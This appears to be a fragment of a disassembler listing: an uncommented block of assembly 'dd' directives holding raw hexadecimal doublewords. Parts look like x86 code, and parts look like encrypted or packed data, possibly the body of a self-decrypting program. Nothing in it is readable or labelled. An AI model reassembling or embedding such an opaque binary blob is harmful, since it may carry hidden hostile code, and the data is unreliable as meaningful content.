		dd 0E9470C2Ch, 695AC2DAh, 31CBD93h, 0EE3E0000h,	0C7E5901Ah
		dd 9C99FABh, 68477512h,	0DE986788h, 0BE7F7324h,	0C34DB896h
		dd 0B2F50C9h, 4339AC71h, 11B02606h, 8DF8A468h, 81F7536Fh
		dd 0FF79AB56h, 3C476068h, 102800BEh, 0AE77AC65h, 7EE7F3Bh
		dd 781FE2E6h, 0E55084BDh, 866D2C4Ah, 0B9DD48EFh, 60FD8D1Dh
		dd 366h, 7E129366h, 0E3E10AEBh,	1D73781Eh, 8DC3E488h, 3E525738h
		dd 3CDD89B4h, 0AC4CD1B7h, 22F0450Bh, 8F66CB99h,	5F5B7A6Eh
		dd 55552CBh, 5D1EAE71h,	0ACAD85F0h, 8CD2CDA0h, 3F0A94DFh
		dd 0B18A169Ah, 54BC8C2Ah, 0AD750805h, 5BE57F3h,	57027105h
		dd 556DF8D9h, 9410DFB0h, 9230F5E0h, 0F5580C9Bh,	37B15524h
		dd 0FC05D510h, 0E3B45911h, 0E20A62DEh, 0A5CD59F2h, 0FF908D60h
		dd 0FF546FFAh, 21F293Dh, 2E0F76Ah, 19F80000h, 906DF094h
		dd 0FE90656Bh, 6A0297F5h, 0DDB20745h, 332B0D4h,	0AB39C257h
		dd 0DF8D32C6h, 4D03A84Ah, 0FC9015F8h, 0CC45E5A5h, 30710555h
		dd 85F0E380h, 31AD70ADh, 3D88C62Fh, 0B55DA585h,	0C7C37507h
		dd 595EA63h, 4C751A71h,	7F3B8655h, 0AE607EEh, 953DDA62h
		dd 55CB7105h, 6CB16201h, 0CA1F0592h, 0C5DFE440h, 8293640Ch
		dd 1CEh, 0A2432A3Dh, 0F7B0472Ah, 5D339E1Fh, 31496712h
		dd 5CEBDF6Eh, 39113AAFh, 770E0EA0h, 6E2491Ch, 1E2AE048h
		dd 7DE87511h, 0FE46C36Bh, 5EC2710Ah, 5C162E0Ah,	0F88D9369h
		dd 0EEFBED16h, 3D0812h,	0F0AB0000h, 0FF4B6785h,	7511FF4Dh
		dd 0EA0FECC3h, 7018E7E2h, 0BDF2BA8h, 8741F971h,	0BDF2AA3h
		dd 65C39671h, 0BD5E0D51h, 6EFE0A93h, 0D8EB4145h, 936A1BC4h
		dd 46670EDFh, 0C3F0EAh,	2A030000h, 472AA243h, 0BDFFC3B2h
		dd 5EF677F6h, 4E1F99F3h, 1C4903A8h, 852ACDA0h, 4D7618EDh
		dd 9AF24E1Bh, 3A8491Ch,	0CDA01C49h, 18ED852Ah, 70157778h
		dd 794890F4h, 0BB770E88h, 0F2BDD3D4h, 0F9516987h, 750C22EAh
		dd 16F7B326h, 75107881h, 6607C1FFh, 917C6C95h, 0F792FAFFh
		dd 18F98C68h, 9762836Bh, 0CEE138DBh, 0BBC77042h, 33C4A93Dh
		dd 0FC64F78Eh, 0C1A9E0DAh, 1790Ch, 7F801300h, 0F2F78469h
		dd 5C650B9Eh, 2CD1A508h, 0BF44D5B8h, 0CE9C5B29h, 79CC8029h
		dd 0ED701499h, 13E6EA0Fh, 4C157B7Ch, 5365FE4Ah,	29DB7105h
		dd 6F452A4Ah, 0EF042DBh, 5C2BBE77h, 2DD2A508h, 8C6C01BFh
		dd 8864616Bh, 9447010Bh, 0E04F7EE6h, 88010B7Ah,	0F4770E7Bh
		dd 0FE68B61h, 5538FEEEh, 22473DC2h, 8926AA4Bh, 0CC6E0FEh
		dd 7A129779h, 1394786Fh, 3704B595h, 651F7511h, 0BB84CC5h
		dd 4F25B071h, 26C7E376h, 36AF7B51h, 8A710BB8h, 7C3670DFh
		dd 0BB833ACh, 39118971h, 710BB8A0h, 6E2491Ch, 0B83DDA62h
		dd 20F7710Bh, 129E39Fh,	710BB888h, 0E78B61F4h, 3CC15439h
		dd 0A74C2D40h, 91B97325h, 710BB8F8h, 61B9144h, 0AAh, 0FE039578h
		dd 6C018102h, 0A2566B8Ch, 856F0F4Ch, 741FA804h,	7B0C85A5h
		dd 0E570770Eh, 74C8601Eh, 0F2750800h, 93F5FE9Fh, 9C616BF6h
		dd 8A0327F9h, 0F6710504h, 4FF98B0h, 0EE7D7105h,	66D0B403h
		dd 5039CACh, 92797105h,	1B9C7316h, 3D0DC771h, 710504A4h
		dd 0D7F74D18h, 78FFCA99h, 95ADF14Fh, 4E730502h,	0E8FC4B1Eh
		dd 354D7205h, 0BC38BD50h, 0C2AD412Ch, 0BE1D1794h, 0E1B2D170h
		dd 7B354DD8h, 0C4536AFh, 61DF8A69h, 3E624209h, 786C9164h
		dd 0B6741DBEh, 444923D5h, 0CDF285E8h, 8469Bh, 1FD0000h
		dd 8B618A6Ch, 472AD4CFh, 0B45B26A6h, 26F45933h,	9266CB9Dh
		dd 1967B6Dh, 6C0D90F8h,	0D4B80547h, 42D4B9D3h, 0B1422FB9h
		dd 510B4008h, 0BE56E189h, 3E7322F1h, 7E26E681h,	814E5918h
		dd 10221BEEh, 5EF10118h, 8704E983h, 515C240Ch, 0C181E189h
		dd 4, 8704E983h, 895C240Ch, 0E868243Ch,	89000056h, 0BE562404h
		dd 6099A82h, 348BF789h,	4C48124h, 68000000h, 7057h, 81242489h
		dd 42404h, 53580000h, 58895B57h, 34FF5B08h, 0C4815824h
		dd 4, 5F2434FFh, 0E904C483h, 0FFF9DE15h, 0D7B8F440h, 306099Eh
		dd 5DE0FFC5h
		dd 613E99EDh, 8A4EC751h, 0C443E636h, 481F6153h,	1257C14Dh
		dd 0F362FD03h, 9E50B3DCh, 4619D2ACh, 0F54D4515h, 0E82856BEh
		dd 8, 0B8C2131Fh, 7E513FDDh, 0ADEBBA66h, 0DDEB8159h, 81586C9Ch
		dd 6797C1h, 0CF816600h,	0BDB81D4Fh, 810FE6F8h, 0E6DEFEE8h
		dd 5860F0Fh, 66000000h,	70F6E781h, 0DE8B318Bh, 4E65C681h
		dd 81665609h, 817941EFh, 9A470FF6h, 0C681F962h,	67EA3D3Bh
		dd 11E856h, 0C0F30000h,	9F146CE9h, 34A2F06Bh, 0C58649A8h
		dd 0F97C8344h, 83018F5Fh, 0DC8A04E9h, 12850F48h, 0BB000000h
		dd 23D546AEh, 1EE9h, 0A2E2E100h, 76853BEh, 0A5D1BA18h
		dd 0A1E96F9Fh, 35FFFFFFh, 0E63F7C33h, 2F28BCC6h, 8D7C26C8h
		dd 9A0B48Dh, 0F9850906h, 8B060330h, 3137185h, 0D18D8906h
		dd 66060331h, 8BCF681h,	1E185C7h, 6B900603h, 0EE90000h
		dd 13000000h, 63BF4144h, 0E5A46A3Dh, 7B05F1C6h,	0BD85C738h
		dd 60321h, 89000000h, 320BD85h,	0E9B5FF06h, 89060313h
		dd 3315D8Dh, 0D99D8B06h, 0FF060320h, 3269195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 3A9AB52Ah, 0DFED5A6Eh, 0FF006AFCh, 31FB995h,	0EBC08B06h
		dd 70A8B1Eh, 56A0866Ah,	8F1E9869h, 3E6A6F0Bh, 9E806394h
		dd 0F1509EF5h, 0B74DA1EFh, 0E8349003h, 8, 8DAA9417h, 67CBE14Ah
		dd 9364BE66h, 11D28159h, 811313EFh, 74F4C1h, 2D8D8900h
		dd 0BB06031Dh, 0
		dd 0ECEF781h, 34FF32B8h, 0CDBD290Bh, 58060331h,	5999589h
		dd 0F0810603h, 295AFAF6h, 11E9h, 43C7CC00h, 18899BF9h
		dd 8815BE0Ch, 0BDF4C395h, 0F08164D7h, 46EA316Ah, 6E9h
		dd 0A9168900h, 8180B471h, 9B98AFC0h, 0A1B50B69h, 50060303h
		dd 19048FFCh, 6E9h, 54ECF700h, 896D6176h, 3065D8Dh, 4EB8306h
		dd 8BA0FB81h, 850FFFFFh, 0FFFFFF92h, 12E8h, 2E360300h
		dd 83EC34C6h, 22D84564h, 3FF8133Dh, 918C582h, 312B595h
		dd 8B665E06h, 4C681D0h,	66000070h, 0E3B8CB8Bh, 8B00001Bh
		dd 0E98D8B1Eh, 8106030Bh, 0BC2B9EC3h, 18D2943h,	81060322h
		dd 433261C3h, 54F8BF61h, 0EB81616Fh, 2E5C3985h,	1E51958Bh
		dd 1E890603h, 0E5BD8B51h, 5A06032Dh, 0BA04EE83h, 168D3ABEh
		dd 1E881h, 850F0000h, 0FFFFFFB7h, 3860Fh, 0B70F0000h, 0FE8FEh
		dd 509D0000h, 8DE23AA6h, 49403592h, 0E745DDEEh,	9DBD8936h
		dd 5906031Ch, 1A498D89h, 0C1810603h, 5919h, 0CE8h, 29A65100h
		dd 0C3E1D250h, 112EDB20h, 0CFBE6696h, 57B85A48h, 814B96B7h
		dd 96A140F0h, 66198B4Bh, 81F040BAh, 96053EEBh, 53CE8170h
		dd 8115C50Ch, 911B28C3h, 0E1BE660Bh, 51EB8110h,	8B5853E0h
		dd 32BD5BDh, 8B665306h,	0F9018FD6h, 6A70E981h, 66BF5C2Ah
		dd 8123C5D6h, 2A6A6CC1h, 0EE95Ch, 0C5D00000h, 647F5B2Eh
		dd 0E3A4E8C1h, 7F957C6h, 0F01E883h, 1285h, 55B58B00h, 0E9060302h
		dd 17h,	59A143AFh, 3314FB1Bh, 31CAD95h,	0FF87E906h, 0C23EFFFFh
		dd 8B04AAF5h, 39BD83C0h, 60310h, 0BD830975h, 603111Dh
		dd 50197400h, 0B8C08B53h, 421h,	17758589h, 9D8D0603h, 605B091h
		dd 585BD3FFh, 111DBD83h, 74000603h, 0B8535017h,	421h, 17758589h
		dd 9D8D0603h, 605AD80h,	585BD3FFh, 9D8BC08Bh, 6030121h
		dd 2F3985C6h, 68560603h, 9CA8B852h, 28C9B5FFh, 858D0603h
		dd 60673BCh, 46AD0FFh, 100068h,	21B5FF00h, 6A060328h, 85D0FF00h
		dd 0D850FC0h, 0B8000000h, 0
		dd 72878D8Dh, 0E1FF0603h, 0C38BC88Bh, 53C4003h,	0F8h, 30C508Bh
		dd 8DBD83D3h, 6031Fh, 0E840Fh, 9D8B0000h, 6031F8Dh, 0CAD858Bh
		dd 3890603h, 858D5251h,	603418Dh, 0FA8BD0FFh, 0D18BF18Bh
		dd 0A4F3C88Bh, 2F3985C6h, 68560603h, 0D41F6D39h, 28C9B5FFh
		dd 858D0603h, 60673BCh,	68D0FFh, 6A000080h, 0D0FF5200h
		dd 0BD83C08Bh, 6031039h, 83097500h, 3111DBDh, 19740006h
		dd 0C08B5350h, 421B8h, 91858900h, 8D060323h, 5B0F89Dh
		dd 5BD3FF06h, 1DBD8358h, 60311h, 53501774h, 421B8h, 91858900h
		dd 8D060323h, 5AD999Dh,	5BD3FF06h, 8DC08B58h, 31F8D9Dh
		dd 0B038B06h, 7840FC0h,	8B000000h, 45B8B03h, 41B81889h
		dd 0E800004Bh, 0Dh, 0CBE583FBh,	0AB312E3Bh, 0B139639Bh
		dd 13850F8Dh, 0E9000000h, 0Eh, 837732Fh, 6B20B14h, 75F0340Ah
		dd 6059F88Fh, 12E9h, 3C9D7E00h,	3E6C0B1Eh, 3E7C8A6h, 21A6D9C0h
		dd 6631F214h, 6169EEB9h, 6120C181h, 8E0F0000h, 2, 0F9BF62B7h
		dd 0B8000017h, 17749C07h, 0C68B318Bh, 0C402EE81h, 810F73F7h
		dd 4, 0F733BB66h, 9867C681h, 81667215h,	812D16E2h, 73828CC6h
		dd 0C18B6639h, 6E856h, 852B0000h, 4395080Eh, 13E9h, 2DEBFC00h
		dd 7726A59Ch, 848F31CAh, 0A9F29C24h, 3E34FF5h, 0B0018F58h
		dd 0E98132h, 0F471B12h,	118Ah, 0AE800h,	0BFF40000h, 4BD77AFCh
		dd 6DB7177Ch, 0C18158F9h, 471B11FCh, 14E8h, 61B14500h
		dd 0B406796h, 0E2F2775Eh, 60A34D55h, 0F62C2BE2h, 9E85Fh
		dd 1EA50000h, 0C8310D32h, 573F9F08h, 8158585Ah,	1EFh, 13850F00h
		dd 8A000000h, 32E9FAh, 31AB0000h, 547760BEh, 0E45DDE53h
		dd 0EE91999h, 0CE000000h, 0A121DD32h, 3EBE470Fh, 89B72380h
		dd 0FF2AE91Ch, 1777FFFFh, 3C117408h, 8C41B332h,	0DC416323h
		dd 0A6498D8Dh, 6A0609h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0F284DDC3h, 2776EC1h, 0DFBB66FFh
		dd 0D18D89AFh, 89060331h, 322799Dh, 0E185C706h,	38060301h
		dd 31000062h, 30F59B5h,	0BD85C706h, 60321h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0BDBEC357h, 0E9B5FF29h, 6A060313h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0FDECC353h, 45CD2C38h, 0F281797h, 686h, 0C5B58900h
		dd 2B060303h, 312B1B5h,	9195FF06h, 6A060326h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0AC2C352h, 0D6DC4FA8h, 0CD7D3D5Ch, 3065B589h, 6A0603h
		dd 1FB995FFh, 0C08B0603h, 0BBC61EEBh, 37725348h, 0F4659D11h
		dd 47D8500Fh, 0DFBF8D11h, 37ACE145h, 8973291Bh,	9FB02FC0h
		dd 75FDED55h, 76F67A5Eh, 56E669A4h, 7BFD49BCh, 0D9FD20ACh
		dd 1EFD2083h, 7CFD2094h, 6EFD201Ch, 44FD20D9h, 2DFD203Bh
		dd 2FD204Ah, 0F9FD20F2h, 24FD20AEh, 0FDFD2083h,	56FD2094h
		dd 0B3FD201Eh, 90FD20D9h, 7DFD203Bh, 39FD2049h,	8DFD20F0h
		dd 9DFD20ADh, 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh
		dd 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh
		dd 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A7772Bh
		dd 75A777A3h, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h
		dd 0F0701ABCh, 73F4D0DAh, 0D346FFA6h, 0F0707C9Eh, 73F4D051h
		dd 0D386FF6Ch, 0F0707CFBh, 73F4D0A1h, 0D34AFF35h, 0F0707C57h
		dd 73F4D017h, 0D382FF1Eh, 0F0707CC2h, 73F4D312h, 0D37EFF7Bh
		dd 0F0707C70h, 73F4D229h, 0D37AFFD7h, 0F0707C26h, 73F4D230h
		dd 0D376FF42h, 0F0707CECh, 73F4D24Fh, 0D372FFF0h, 0F0707CB5h
		dd 73F4D346h, 0D366FFA6h, 0F0707C9Eh, 73F4D22Fh, 0D36EFF6Ch
		dd 0F0707CFBh, 73F4D37Ah, 0D36AFF35h, 0F0707C57h, 73F4D337h
		dd 0D366FF1Eh, 0F0707CC2h, 73F4D3B7h, 0D356FF7Bh, 0F0707C70h
		dd 73F4D3CDh, 0D352FFD7h, 0F0707C26h, 73F4D303h, 0D34EFF42h
		dd 0F0707CECh, 73F4D32Fh, 0D362FFF0h, 0F0707CB5h, 73F4D04Ah
		dd 0D35EFFA6h, 0F0707C9Eh, 73F4D064h, 0D35AFF6Ch, 0F0767CFBh
		dd 73FE4B14h, 0D309FF35h, 0F0767C57h, 73FE533Eh, 0D305FF1Eh
		dd 0B69C7CC2h, 9D11F1B0h, 75FD7AF2h, 7D17FB23h,	25FB7314h
		dd 0FDF53FD5h, 7C5B89ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h
		dd 75FD7A1Ah, 987C2779h, 73F4D295h, 0D387FFA0h,	0C87D7C26h
		dd 73F4DCEDh, 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 0D305EF86h
		dd 0FEBD7CB5h, 7A452B96h, 8AFD7A2Fh, 7C5B8202h,	0E48F7CDh
		dd 0F8FB7343h, 9D50FCC6h, 75FD7E4Bh, 76456FCFh,	8AFD7A5Eh
		dd 7C5B82BAh, 0E48F791h, 0F8FB736Dh, 8A50FCD1h,	0BC1F2322h
		dd 0D387F787h, 2DA07CB5h, 2CA32005h, 776D92ECh,	0CD4D7A97h
		dd 8A5779C1h, 7C5B8E70h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh
		dd 0DE9B5954h, 0D309EFD0h, 0DE9B7C9Eh, 77959208h, 360B7AE5h
		dd 6E8872F3h, 0D309EF86h, 0C54D7CB5h, 8AAD7954h, 7C5B8EBAh
		dd 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h
		dd 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h,	0FE4DBA07h
		dd 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h
		dd 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh,	75FF7B1Ah
		dd 360B2079h, 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h
		dd 0FF4DBA07h, 816885B5h, 2FFB7354h, 51FD5F1Fh,	133F71DAh
		dd 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h
		dd 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h
		dd 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h
		dd 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h,	75FCF323h
		dd 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh
		dd 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 0D305EF0Dh
		dd 0C0707C70h, 73F4DC03h, 7F518A5Dh, 0E002D02Ch, 73F4DC63h
		dd 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h
		dd 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h,	0CD9B851Ah
		dd 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh
		dd 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h
		dd 75059243h, 2D4D7A5Eh, 0B6577925h, 0D38CFF69h, 0C87D7CC2h
		dd 73F4DC94h, 0F8EC0FF3h, 7C5B99FCh, 61152ABAh,	9DFD7A5Ch
		dd 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh
		dd 0D38CF787h, 0C87D7CB5h, 73F4DC2Fh, 0F8F10F2Fh, 7C5B9912h
		dd 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 8D688579h, 0F8FB731Ah
		dd 7C563AC3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh
		dd 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 7C5B8ECBh, 514ACE29h
		dd 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h,	75FD7A27h
		dd 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 0D309EF68h, 917D7CC2h
		dd 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h
		dd 0FCF992ACh, 7345B995h, 8AFD7ACBh, 7C5B8270h,	0A260F7F4h
		dd 0F8FB73DFh, 0CD3E39A0h, 75FD7A4Eh, 0D305EFD0h, 0B57E7C9Eh
		dd 8935F1CEh, 0D309EF1Ah, 97577CFBh, 0BE15B98Eh, 0FF028543h
		dd 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh,	8908831Dh
		dd 0F611F1A7h
		dd 9D9D86BDh, 75FD7ABCh, 2517FB04h, 0FCFB7384h,	0CF7D86EAh
		dd 73F4DC38h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 0D305E843h
		dd 0FCBD7C57h, 7C5B86ADh, 0F835F191h, 7C515E79h, 816F85E3h
		dd 0FDFB7354h, 801F3C7Fh, 75FD6D04h, 897F795Eh,	35FB7389h
		dd 0D9E5E01Ah, 0B67E7CC2h, 22FEF3E1h, 75FD644Bh, 89777979h
		dd 0F8FB731Ah, 7C517CECh, 2B598929h, 75FD722Fh,	8D6F85CBh
		dd 0F6FB7343h, 85897E0Ah, 72447C71h, 7DFD7ABCh,	0C3F24B5Ah
		dd 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h
		dd 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh
		dd 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch
		dd 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h
		dd 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h,	2FFD7A2Fh
		dd 0D9CA9016h, 0CF707CC2h, 73F4DDE5h, 0CCF50F79h, 75FD7A71h
		dd 0BC9CDE4Fh, 26FD7E9Ch, 0D2FDE7A2h, 497D7C9Eh, 71887BD3h
		dd 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh, 517FB04h
		dd 0F8FB7383h, 7C5A7A25h, 7D80F1CDh, 75FD725Ch,	145989F2h
		dd 75F9B8B0h, 7540F7DCh, 46FB73F9h, 75F5C3EFh, 0DF0E7A97h
		dd 0F89DB9AAh, 7C5A7A58h, 74C2FBF4h, 0FC7B78h, 7182FBB0h
		dd 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 7540F7ABh,	0CDFB7342h
		dd 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh,	7878F7EFh
		dd 8AFB7330h, 0E8CA8BD0h, 0Dh, 2B2E55EDh, 786E8808h, 4149BD9Eh
		dd 3F69BFCAh, 805E5219h, 0C681D1CDh, 6570h, 0DE9h, 1614200h
		dd 75C32409h, 412D0E50h, 4BBAE646h, 813E77E7h, 77CE1DEAh
		dd 10E93Eh, 0F8320000h,	300E7D04h, 54862672h, 0C8C08C10h
		dd 36FF8571h, 6E9h, 0B8C65A00h,	5BF95F61h, 6E9h, 3A39FA00h
		dd 818F680Bh, 0E02C84EBh, 0BCB9662Bh, 0DAF38179h, 0F37599Fh
		dd 1282h, 0BE95100h, 9000000h, 637AF033h, 85336C8Eh, 815FE246h
		dd 0F96DEAC3h, 8E95232h, 92000000h, 43CEE89Bh, 5891BDB6h
		dd 0BF0F1E89h, 4EE83FBh, 1850Fh, 4AF50000h, 0FF94850Fh
		dd 0FA8BFFFFh, 0C97ACAFEh, 41F9A80Bh, 0CE418A4Fh, 0D5ABA80Bh
		dd 0CE1975EAh, 46E7A80Bh, 5DBA8A4Fh, 475C57AEh,	0CF098A4Fh
		dd 0D5ABA80Bh, 0CFD075EAh, 4782A80Bh, 0CC528A4Fh, 440CA80Bh
		dd 0CCD48A4Fh, 0D5ABA80Bh, 2F2575EAh, 23FA63D4h, 0C00313h
		dd 0A752A1FCh, 0ABEAB390h, 8CD12157h, 2F4383B8h, 23FB38D4h
		dd 8C00313h, 0A752A1FCh, 0ABEA6290h, 98D12157h,	2F4383B8h
		dd 23E497D4h, 14C00313h, 0A752A1FCh, 0ABF51E90h, 94D12157h
		dd 2F4383B8h, 23E470D4h, 60C00313h, 0A752A1FCh,	0ABF4AB90h
		dd 0E0D12157h, 2F4383B8h, 23E5CAD4h, 6CC00313h,	0A752A1FCh
		dd 0ABF42990h, 0F8D12157h, 2F4383B8h, 23E54CD4h, 74C00313h
		dd 0A752A1FCh, 0ABF79790h, 0F0D12157h, 0C34383B8h, 2A5012B8h
		dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A44C2490h
		dd 2AA8ED96h, 29458A15h, 0E367A024h, 0ADBAB496h, 2A54A1D5h
		dd 64C6CB15h, 0D5BA4155h, 63CE75EAh, 3453AAEh, 42848C16h
		dd 2211AB53h, 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch,	0E3A8EDDAh
		dd 0F74586D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h
		dd 6C54A851h, 0A24162ADh, 0EA660351h, 2FEE27BFh, 23FCB6DBh
		dd 12947513h, 0A0D90201h, 0A44C220Bh, 0A1EC79AEh, 941AE51h
		dd 824A22DCh, 73BA8C1Ch, 2ADF1037h, 28C82173h, 2C5D004Fh
		dd 2BFD5BEAh, 81508C15h, 0A5B0098h, 0FBABAE58h,	89EFD2A5h
		dd 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h,	4AA86CD2h
		dd 0A2458AFDh, 0C0D5F251h, 0A44C2550h, 0A15CDDDAh, 0E7828668h
		dd 2A54A8ADh, 30BACC15h, 2C57993Ch, 69CE529Eh, 0B99783FCh
		dd 31EFE2A5h, 0A0D9F9FAh, 0A44C220Bh, 9A0D79AEh, 1A232094h
		dd 81328C55h, 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h
		dd 21A90140h, 0C2345495h, 0A2458A15h, 0B6BE290Bh, 294383BAh
		dd 57DFA024h, 5E004D19h, 2A54A851h, 0CFD77553h,	0A152AB60h
		dd 69CE19CDh, 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh, 0A44C220Bh
		dd 9A0D79AEh, 1A232094h, 81328C65h, 0DF6E2184h,	0D629215Dh
		dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h,	0DFCE8260h
		dd 0D6116F5Dh, 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h
		dd 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h
		dd 25862DA0h, 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h
		dd 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h,	66C6669Eh
		dd 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h, 0E458A15h,	22B769C2h
		dd 62765826h, 78C22FDh,	0A2458AD5h, 25AB54D1h, 0A2459391h
		dd 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h
		dd 91EF4B93h, 577F0391h, 5E380319h, 0D6112330h,	0A24D48DCh
		dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h,	2A54A851h
		dd 229D00B9h, 0E1D4A7B2h, 8860085h, 824A22DCh, 73BA8C1Ch
		dd 0A7FEF8E1h, 0ABED949Fh, 0A0855757h, 0DF6E20D6h, 0D629215Dh
		dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h,	0DFCE8260h
		dd 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 0B3D77515h, 2652AB78h
		dd 28C82045h, 2C5D004Fh, 2BF55BEAh, 86949BFBh, 622E8531h
		dd 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h,	229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h
		dd 0D5FE0451h, 0A174E787h, 868C2357h, 2FEF4917h, 23FCB6DBh
		dd 0C4947513h, 4CBD28E9h, 88600BEh, 0A358D57Ah,	29247668h
		dd 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh
		dd 0A2457650h, 80F8A851h, 932818EAh, 0E2DFAE52h, 88558B9h
		dd 824A32DCh, 71BA8C1Ch, 0E3941037h, 63CF2173h,	262983FBh
		dd 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h
		dd 26292359h, 0A2B9CFD2h, 8654A851h, 0CFD775BFh, 0A152AB60h
		dd 637726DDh, 34CE25FBh, 5D4383BDh, 0AAECCE82h,	28EEECE4h
		dd 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h
		dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h
		dd 0B0D90337h, 0A44C220Bh, 92327BAEh, 9234B95h,	1FE04FDh
		dd 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h
		dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h
		dd 0ABED948Fh, 9A875757h, 0E0320A0h, 34CE25FBh,	5D4383BDh
		dd 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A44C3878h
		dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh
		dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh,	13798A15h
		dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh
		dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 88CE2559h, 0F14383B8h
		dd 842D32DCh, 71BA8C1Ch, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh
		dd 38C88260h, 2C5D05E3h, 0DBDF0746h, 0D552A1FFh, 5E0003C6h
		dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0ABE8348Fh, 0B0D9FB57h
		dd 0A44C246Ch, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h
		dd 879E32DCh, 2F168C1Ch, 23FAD1CBh, 2B967513h, 2ABD5414h
		dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 16EBh, 4 dup(0)
		dd 1010000h, 3C0h, 9D290609h, 60324E1h,	158B0F50h, 0E9000000h
		dd 10h,	15836BB0h, 84B6A87Bh, 989813DDh, 654353E7h, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 88E3C356h, 0AE4F0AE3h, 6AAF6B2Ch,	56006A00h
